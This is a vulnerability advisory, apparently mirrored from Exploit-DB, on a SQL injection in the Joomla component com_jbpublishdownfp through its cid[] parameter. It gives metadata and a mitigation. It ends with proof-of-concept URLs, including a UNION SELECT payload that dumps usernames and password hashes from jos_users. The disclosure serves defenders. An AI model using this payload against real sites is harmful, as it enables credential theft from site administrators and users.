Joomla (com_jbpublishdownfp) SQL Injection Vulnerability

vendor:

Joomla

by:

B-HUNT3|2

3,3

CVSS

LOW

SQL Injection

CWE

Product Name: Joomla

Affected Version From: 1.4

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: LocalHost

N/A

Joomla (com_jbpublishdownfp) SQL Injection Vulnerability

Input var cid[] is vulnerable to SQL Code Injection. A malicious user can execute arbitrary SQL queries by exploiting this vulnerability.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries.

Source

Exploit-DB raw data:

[~]>> ...[BEGIN ADVISORY]...

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> TITLE: Joomla (com_jbpublishdownfp) SQL Injection Vulnerability 
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TESTED ON: LocalHost
[~]>> PRE-REQUERIMENTS: Privileged user

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> DESCRIPTION: Input var cid[] is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.4 but probably other versions also 
[~]>> RISK: Low/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> PROOFS OF CONCEPT:

[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=[SQL]
[~]>> http://[HOST]/[JOOMLA_PATH]/administrator/index.php?option=com_jbpublishdownfp&task=edit&cid[]=-1+union+all+select+concat(username,0x3A3A3A,password)+from+jos_users

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...